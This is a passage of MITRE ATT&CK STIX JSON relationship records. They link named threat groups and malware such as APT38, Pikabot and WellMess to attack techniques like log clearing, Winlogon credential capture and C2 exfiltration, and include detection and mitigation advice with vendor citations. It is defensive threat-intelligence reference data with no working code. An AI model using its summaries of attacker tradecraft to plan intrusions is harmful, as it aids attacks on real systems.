2020."}],"modified":"2020-05-12T15:18:44.211Z","description":"(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69b07a47-2d70-4672-9771-92fa4280b3d3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-18T19:15:15.005Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses VBScripts.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--69b0de5e-0135-49a3-a784-fb70559355b6","created":"2022-03-30T14:26:51.849Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed active directory objects, such as Windows EID 5137.","modified":"2022-04-28T14:57:28.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69b349cf-c086-497b-8339-514d4a448bfe","created":"2019-01-29T21:27:25.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.990Z","description":"[APT38](https://attack.mitre.org/groups/G0082) clears Window Event logs and Sysmon logs from the system.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69b6cf6f-f018-4999-b640-fc5a3cb2aa2d","created":"2023-01-26T18:25:29.216Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T18:25:29.216Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can enumerate running processes on a machine.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69b71b4b-fec9-4850-b002-4a44b875a814","type":"relationship","created":"2020-03-12T19:15:09.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","url":"https://github.com/n1nj4sec/pupy"}],"modified":"2020-03-12T19:15:09.779Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can be used to establish persistence using a systemd service.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2020-03-16T16:48:24.370Z","description":"[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit that hides certain operating system artifacts.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69bdad3f-929c-4597-a9d7-4ec2c738170d","created":"2024-05-17T20:22:26.958Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:22:26.958Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) records data entered from the local system logon at Winlogon to capture credentials in cleartext.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69bfbe2b-2a2a-4013-9fba-7a551ec75836","created":"2022-09-29T20:25:00.961Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:25:00.961Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors downloaded additional tools and files onto a compromised network.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69bff194-c90e-4e30-a369-57da4cff014d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:48.930Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to modify the Registry.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist fileless attacks Feb 2017","description":"Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.","url":"https://securelist.com/fileless-attacks-against-enterprise-networks/77403/"}],"modified":"2020-03-28T01:00:55.143Z","description":"[netsh](https://attack.mitre.org/software/S0108) can be used to set up a proxy tunnel to allow remote host access to an infected host.(Citation: Securelist fileless attacks Feb 2017)","relationship_type":"uses","source_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69c3aaaf-0922-4662-a8b3-026dc5ea0aae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-09-08T19:22:44.527Z","description":"[SynAck](https://attack.mitre.org/software/S0242) enumerates Registry keys associated with event logs.(Citation: SecureList SynAck Doppelgänging May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69cbfe97-c712-4ffe-ac32-b1ce605e516c","created":"2024-07-16T18:12:09.758Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:12:09.758Z","description":"During the initial [Pikabot](https://attack.mitre.org/software/S1145) command and control check-in, [Pikabot](https://attack.mitre.org/software/S1145) will transmit collected system information encrypted using RC4.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69cc4413-80b4-45ed-a993-db34fe32fabe","type":"relationship","created":"2020-05-20T19:05:37.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Pirate Panda April 2020","url":"https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z","description":"Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.547Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created shortcuts in the Startup folder to establish persistence.(Citation: Anomali Pirate Panda April 2020)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69d1d811-fb2f-43cc-99bb-989769dd4ffb","created":"2023-09-13T19:03:51.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T17:07:00.499Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can gain execution through the download of visual basic files.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69d3a1fc-f72f-4fd9-aa89-c6a471791421","type":"relationship","created":"2020-09-29T16:08:22.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"PWC WellMess C2 August 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-09-29T18:54:16.252Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can communicate to C2 with mutual TLS where client and server mutually check certificates.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69d4f4f9-adb0-41fc-952d-88579ab5b46b","created":"2023-04-05T14:57:58.606Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T14:57:58.606Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can log mouse events.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69db3e09-9dd7-41b9-b2a9-1b9aa27a6ade","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69db7ce6-c72e-4710-9e32-48b0a6ca7675","type":"relationship","created":"2020-02-20T15:37:27.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU DDoS March 2017","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2022-03-25T18:11:13.845Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69e06021-a60c-49ac-840a-47ae154dbba8","type":"relationship","created":"2020-03-24T15:04:44.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-08T17:10:31.290Z","description":"Consider periodic review of accounts and privileges for critical and sensitive SharePoint repositories.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69e152de-4cf5-416b-a52b-c6a067f1789e","created":"2022-09-19T18:22:23.570Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:22:23.570Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors uploaded stolen files to their C2 servers.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--69e4b520-6a9f-4dc0-b11e-805886ce8257","created":"2023-02-10T19:02:25.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:19:08.275Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can check for the number of devices plugged into an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69ec32e4-3092-4e7a-941f-748f6a13d1dc","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for newly executed processes that may execute their own malicious payloads by hijacking the binaries used by services.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69f45e5e-2ebe-4cce-a4cd-e1db67bdff1a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINERACK](https://attack.mitre.org/software/S0219) can enumerate active windows.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/","description":"Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.","source_name":"McAfee APT28 DDE1 Nov 2017"},{"source_name":"McAfee APT28 DDE2 Nov 2017","description":"Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.","url":"http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}],"modified":"2020-03-20T16:37:05.579Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has delivered [JHUHUGIT](https://attack.mitre.org/software/S0044) and [Koadic](https://attack.mitre.org/software/S0250) by executing PowerShell commands through DDE in Word documents.(Citation: McAfee APT28 DDE1 Nov 2017)(Citation: McAfee APT28 DDE2 Nov 2017)(Citation: Palo Alto Sofacy 06-2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69f9daff-c253-4d99-94e6-cd2a7a9483dc","type":"relationship","created":"2020-01-19T16:10:15.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-18T14:57:08.141Z","description":"Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a008820-b742-4ec0-ad56-7494ca911da7","created":"2019-01-30T15:38:21.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:49:08.183Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to collect the processor type, operation system, computer name, and whether the system is a laptop or PC.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a063d3a-cad2-4649-93a4-d1931ae6aaaf","type":"relationship","created":"2020-05-21T14:55:00.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped 